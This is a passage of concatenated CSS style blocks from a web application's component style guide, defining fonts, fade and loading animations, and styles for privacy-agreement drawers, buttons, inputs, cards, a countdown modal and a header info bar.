font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.drawer-privacyagreement-loading {
position: fixed;
background-color: rgba(0, 0, 0, 0.3);
width: 100%;
height: 100%;
display: flex;
justify-content: flex-end;
z-index: 11;
top: 0;
right: 0;
box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
border-radius: 0px;
opacity: 0;
visibility: hidden; }
@media (max-width: 720px) {
.drawer-privacyagreement-loading {
width: 100%; } }
.drawer-privacyagreement-loading.drawer-privacyagreement-loading--close {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
visibility: hidden; }
.drawer-privacyagreement-loading.drawer-privacyagreement-loading--open {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
opacity: 1;
visibility: visible; }
.drawer-privacyagreement-loading .drawerPrivacyAgreementLoading-title-container {
width: 375px;
background-color: #F4F6F8; }
.drawer-privacy-agreement-loading__content {
overflow: auto;
width: 375px;
background-color: #F4F6F8;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-transform: translateX(100%);
-moz-transform: translateX(100%);
-ms-transform: translateX(100%);
-o-transform: translateX(100%);
transform: translateX(100%);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
@media (max-width: 720px) {
.drawer-privacy-agreement-loading__content {
width: 100%; } }
.drawer-privacy-agreement-loading__content::-webkit-scrollbar {
width: 0; }
.drawer-privacy-agreement-loading__content.content--open {
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transform: translateX(0);
-moz-transform: translateX(0);
-ms-transform: translateX(0);
-o-transform: translateX(0);
transform: translateX(0);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
-webkit-transition-delay: 0.3s;
-moz-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
-o-transition-delay: 0.3s;
transition-delay: 0.3s; }
.drawer-privacy-agreement-loading__content .content-box {
margin: 28px 19px 0px;
overflow-y: scroll; }
.simple--loading__container {
margin-left: 59.5px;
margin-right: 59.5px;
margin-top: 212.97px;
margin-bottom: 220.71px; }
@media (max-width: 414px) {
.simple--loading__container {
margin-left: 66.5px;
margin-right: 88.5px; } }
@media (max-width: 375px) {
.simple--loading__container {
margin-left: 55.5px;
margin-right: 59.5px; } }
@media (max-width: 320px) {
.simple--loading__container {
margin-left: 28.5px;
margin-right: 31.5px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.drawer-privacyagreement-event {
position: fixed;
background-color: rgba(0, 0, 0, 0.3);
width: 100%;
height: 100%;
display: flex;
justify-content: flex-end;
z-index: 11;
top: 0;
right: 0;
box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
border-radius: 0px;
opacity: 0;
visibility: hidden; }
@media (max-width: 720px) {
.drawer-privacyagreement-event {
width: 100%; } }
.drawer-privacyagreement-event.drawer-privacyagreement-event--close {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
visibility: hidden; }
.drawer-privacyagreement-event.drawer-privacyagreement-event--open {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
opacity: 1;
visibility: visible; }
.drawer-privacyagreement-event .drawer-privacyagreement-event-title-container {
background-color: #F4F6F8;
align-items: center;
margin: 24px 0px; }
.drawer-privacyagreement-event .drawer-privacyagreement-event-title-container .title-text {
font-family: NunitoSans-Bold;
font-size: 22px;
line-height: 25px;
color: #122e43;
text-align: center;
margin: 16px 20px; }
.drawer-privacyagreement-event .drawer-privacyagreement-event-title-container .subtitle-text {
font-family: NunitoSans-Regular;
font-size: 16px;
line-height: 22px;
color: #416179;
text-align: center;
margin: 16px 20px 32px 20px; }
.drawer-privacyagreement-event .drawer-privacyagreement-event-title-container .box-img {
vertical-align: middle;
text-align: center;
margin: 56px 20px 16px 20px; }
.drawer-privacyagreement-event .drawer-privacyagreement-event-title-container .box-img img {
width: 278px;
height: 175px; }
.drawer-privacyagreement-event .button-container {
align-items: center;
display: flex;
position: fixed;
left: 0;
right: 0;
bottom: 0;
flex-direction: column;
justify-content: end;
margin: 20px; }
.drawer-privacyagreement-event .button-container .button {
font-size: 16px; }
.drawer-privacyagreement-event .button-container .button .button__content {
font-family: Nunito-Bold;
color: #ffffff; }
.drawer-privacyagreement-event .button-container button {
width: 100%;
height: 48px; }
@media (max-width: 320px) {
.drawer-privacyagreement-event .button-container button {
width: 308px; } }
.drawer-privacyagreement-event .drawer-privacyagreement-event__content {
overflow: auto;
width: 375px;
background-color: #F4F6F8;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-transform: translateX(100%);
-moz-transform: translateX(100%);
-ms-transform: translateX(100%);
-o-transform: translateX(100%);
transform: translateX(100%);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
@media (max-width: 720px) {
.drawer-privacyagreement-event .drawer-privacyagreement-event__content {
width: 100%; } }
.drawer-privacyagreement-event .drawer-privacyagreement-event__content::-webkit-scrollbar {
width: 0; }
.drawer-privacyagreement-event .drawer-privacyagreement-event__content.content--open {
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transform: translateX(0);
-moz-transform: translateX(0);
-ms-transform: translateX(0);
-o-transform: translateX(0);
transform: translateX(0);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
-webkit-transition-delay: 0.3s;
-moz-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
-o-transition-delay: 0.3s;
transition-delay: 0.3s; }
.drawer-privacyagreement-event .drawer-privacyagreement-event__content .content-box {
margin: 28px 19px 0px;
overflow-y: scroll; }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.button {
line-height: 1.5;
font-family: "GothamRounded-Medium";
border: solid 1px rgba(255, 255, 255, 0.3);
color: white;
display: inline-block;
outline: none; }
.button:focus, .button:focus-visible {
outline: none; }
.button::-moz-focus-inner {
border: 0; }
.button.button--medium {
font-size: 16px;
padding: 0.5rem 1rem;
border-radius: 8px; }
.button.button--large {
font-size: 18px;
padding: 16px 60px;
border-radius: 8px; }
.button.button--small {
padding: 0.25rem 0.5rem;
font-size: 0.875rem;
border-radius: 0.2rem; }
.button.button--max {
width: 100%;
border-radius: 0.2rem;
padding: 0.25rem 0.5rem; }
.button.button--max:nth-child(1) {
margin-right: 10px; }
.button.button--animated {
transition: all ease .3s; }
.button.button--animated:hover {
transform: translateY(-2px); }
.button.button--animated:active {
transform: translateY(1px); }
.button.button--disabled-default {
cursor: not-allowed;
pointer-events: none;
opacity: .65;
filter: alpha(opacity=65);
-webkit-box-shadow: none;
box-shadow: none; }
.button.button--orange {
background: #FA6400; }
.button.button--orange:hover {
background-color: #FC7820; }
.button.button--paris {
background: #009ce0; }
.button.button--paris:hover {
background-color: rgba(0, 156, 224, 0.2); }
.button.button--gray {
background: rgba(111, 111, 110, 0.98); }
.button.button--gray:hover {
background-color: #666666; }
.button.button--white {
background: #FFFFFF;
border: solid 1px #d9d5d5;
color: #9c9292; }
.button.button--white:hover {
background-color: #FFFFFF;
border: solid 1px #9c9292; }
.button.text--none {
text-transform: none; }
.button.text--lowercase {
text-transform: lowercase; }
.button.text--uppercase {
text-transform: uppercase; }
.button.text--capitalize {
text-transform: capitalize; }
.button.shadow--orange {
box-shadow: 0 9px 18px 0 rgba(239, 125, 0, 0.2); }
.button.button--disabled-gray {
background-color: #d9d5d5;
color: #FFFFFF;
-webkit-box-shadow: none;
box-shadow: none;
pointer-events: none; }
@media (max-width: 992px) {
.button.button--expand {
width: 100%; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.input-group {
font-family: "GothamRounded-Book";
display: flex;
flex-direction: column; }
.input-group .input {
flex: 0 0 25%;
display: flex;
flex-direction: row;
flex-wrap: nowrap;
position: relative;
align-items: center;
justify-content: flex-end; }
.input-group .input .input__component {
border: 1px #d9d5d5 solid;
min-width: 0;
width: 100%; }
.input-group .input .input__component {
flex: 1 1 auto;
padding: 0.375rem 0.75rem;
font-size: 1rem;
border-radius: 0.25rem;
box-shadow: none;
transition: border-color .5s;
display: inline-block; }
.input-group .input .input__component:focus {
outline: none; }
.input-group .input .input__component.input--small {
padding: 0.25rem 0.5rem;
font-size: 0.875rem;
border-radius: 0.2rem; }
.input-group .input .input__component.input--large {
padding: 0.5rem 1rem;
font-size: 1.25rem;
border-radius: 0.3rem; }
.input-group .input .input__component.input--disabled {
background-color: #d9d5d5; }
.input-group .input .input__component.input--has-error {
border-color: #e02020; }
.input-group .input .input__icon {
display: flex;
color: #9c9292;
cursor: pointer;
position: absolute;
padding-right: 0.75rem; }
.input-group .input .input__icon.icon--small {
padding-right: 0.50rem; }
.input-group .input .input__icon.icon--large {
padding-right: 1rem; }
.input-group .input .input__icon.icon--has-error {
border-color: #e02020;
color: #e02020; }
.input-group .input.input--full-width {
flex: 0 1 100%; }
.input-group .label {
display: block;
padding: 0 0 10px 0;
font-weight: bold;
flex: 1 1 100%;
font-size: 16px;
margin: 0; }
.input-group .label.label--small {
font-size: 14px; }
.input-group .label.label--large {
font-size: 18px; }
.input-group .error-label {
display: block;
padding: 10px 0 0 0;
font-weight: bold;
color: #e02020;
font-size: 14px;
flex: 1 1 100%; }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.card-box {
font-family: "GothamRounded-Book";
min-width: 100px;
border-radius: 16px;
box-shadow: 0 18px 36px 0 rgba(0, 0, 0, 0.1);
background-color: #FFFFFF;
display: flex;
flex-direction: column;
align-items: center; }
@media (max-width: 992px) {
.card-box {
padding: 20px; } }
@media (min-width: 992px) {
.card-box {
padding: 30px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.modal {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-color: rgba(0, 0, 0, 0.8);
z-index: 100;
outline: none; }
.modal__content {
position: absolute;
top: 15%;
left: 38%;
right: 38%;
bottom: auto;
border: solid 1px #707070;
overflow: auto;
border-radius: 16px;
outline: none;
padding: 40px 20px;
color: #FFFFFF;
min-width: 340px; }
.modal__content.session-modal-close-content {
top: 30%;
left: 34%;
right: 34%; }
.modal__body {
height: 90%;
margin-bottom: 10px; }
.modal__body .body__title {
color: #FFFFFF;
text-align: center;
font-size: 2rem;
line-height: 2rem;
font-weight: 300;
margin-top: 0px;
margin-bottom: 0px;
font-family: GothamRounded-Light; }
.modal__body .body__title .body__title-span {
font-weight: 700;
display: block;
font-size: 3rem;
line-height: 2.7rem;
padding-top: 10px;
margin-bottom: 10px;
font-family: GothamRounded-Book; }
.modal__body .body__subtitle {
color: #FFFFFF;
text-align: center;
font-size: 1.5rem;
line-height: 2rem;
font-weight: 300;
margin-top: 0px;
margin-bottom: 0px; }
.modal__body.session-modal-close-body .body__title {
font-size: 38px;
font-family: GothamRounded-Medium; }
.modal__body.session-modal-close-body .body__subtitle {
font-size: 28px;
font-family: GothamRounded-Light;
margin-top: 10px; }
.count #countdown {
position: relative;
margin: auto;
height: 180px;
width: 180px;
text-align: center;
display: flex;
justify-content: center;
align-items: center;
flex-flow: column; }
.count #countdown #countdown-number {
color: #FFFFFF;
display: inline-block;
z-index: 2;
font-family: GothamRounded-Book; }
.count #countdown #countdown-number .countdown__title {
font-size: 88px;
line-height: 0.5em;
margin-top: 20px;
margin-bottom: 20px; }
.count #countdown #countdown-number .countdown__subtitle {
font-size: 16px; }
.count #countdown .countdown__image {
position: absolute;
top: 0;
right: 0;
width: 180px;
height: 180px;
transform: rotateY(-180deg) rotateZ(-90deg); }
.count #countdown .countdown__image .countdown__circle {
stroke-dasharray: 508px;
stroke-dashoffset: 0px;
stroke-linecap: round;
stroke-width: 8px;
stroke: #FA6400;
fill: rgba(0, 0, 0, 0.37); }
.count #countdown .countdown__image .countdown__circle.paris {
stroke-dasharray: 508px;
stroke-dashoffset: 0px;
stroke-linecap: round;
stroke-width: 8px;
stroke: #009ce0;
fill: rgba(0, 0, 0, 0.37); }
@keyframes count {
from {
stroke-dashoffset: 0px; }
to {
stroke-dashoffset: 508px; } }
.modal__footer {
display: block; }
.modal__footer button {
width: 100%;
border-radius: 8px;
font-size: 18px !important;
border: 0;
margin-bottom: 10px;
line-height: 18px !important;
padding-top: 20px !important;
padding-bottom: 20px !important; }
.modal__footer button img {
width: 15px; }
@media (max-width: 992px) {
.modal__content {
top: 12%;
left: 5%;
right: 5%; }
.modal__content.session-modal-close-content {
top: 30%;
left: 5%;
right: 5%; } }
@media (max-width: 574px) {
.modal__content {
min-width: 70%;
left: 5%;
right: 5%; } }
@media (max-width: 374px) {
.count #countdown #countdown-number .countdown__title {
font-size: 68px;
line-height: 28px; }
.modal__content {
min-width: 70%;
left: 5%;
right: 5%; }
.modal__footer button {
font-size: 14px !important;
line-height: 14px !important;
padding-left: 20px;
padding-right: 20px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.header-info {
--padding-small-desktop: 0 5%;
--padding-desktop: 0 9%; }
.header-info-container {
display: flex;
justify-content: center; }
.header-info {
display: flex;
flex-direction: row;
justify-content: flex-end;
font-family: GothamRounded-Book;
font-size: 12px;
padding: 10px 0;
width: 1128px; }
.header-info .header-info__container {
display: flex;
justify-content: flex-end;
white-space: nowrap; }
.header-info .header-info__container .header_info__separator {
width: 1px;
height: 70%;
background-color: #9c9292; }
.header-info .header-info__container .header-info__credit-card-phone {
display: flex;
align-items: center;
border-right: solid 1px #d9d5d5; }
.header-info .header-info__container .header-info__credit-card-phone .credit-card-phone__text {
display: flex;
margin-right: 10px; }
.header-info .header-info__container .header-info__credit-card-phone .credit-card-phone__text .credit-card-phone__text--gray {
color: #9c9292;
padding: 5px; }
.header-info .header-info__container .header-info__credit-card-phone .credit-card-phone__text .credit-card-phone__text--orange {
font-family: GothamRounded-Medium;
color: #FA6400;
padding: 5px; }
.header-info .header-info__container .header-info__credit-card-phone .credit-card-phone__text .credit-card-phone__text--orange a {
color: inherit;
text-decoration: none; }
.header-info .header-info__container .header-info__credit-card-phone .credit-card-phone__text .credit-card-phone__text--orange a:hover {
text-decoration: underline; }
.header-info .header-info__container .customer-service-phone__text {
display: flex;
margin-left: 10px; }
.header-info .header-info__container .customer-service-phone__text .customer-service-phone__text--gray {
color: #9c9292;
padding: 5px; }
.header-info .header-info__container .customer-service-phone__text .customer-service-phone__text--bold {
font-family: GothamRounded-Medium;
color: #575151;
padding: 5px 0 5px 5px; }
.header-info .header-info__container .customer-service-phone__text .customer-service-phone__text--bold a {
color: inherit;
text-decoration: none; }
.header-info .header-info__container .customer-service-phone__text .customer-service-phone__text--bold a:hover {
text-decoration: underline; }
@media (max-width: 992px) {
.header-info {
display: none; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
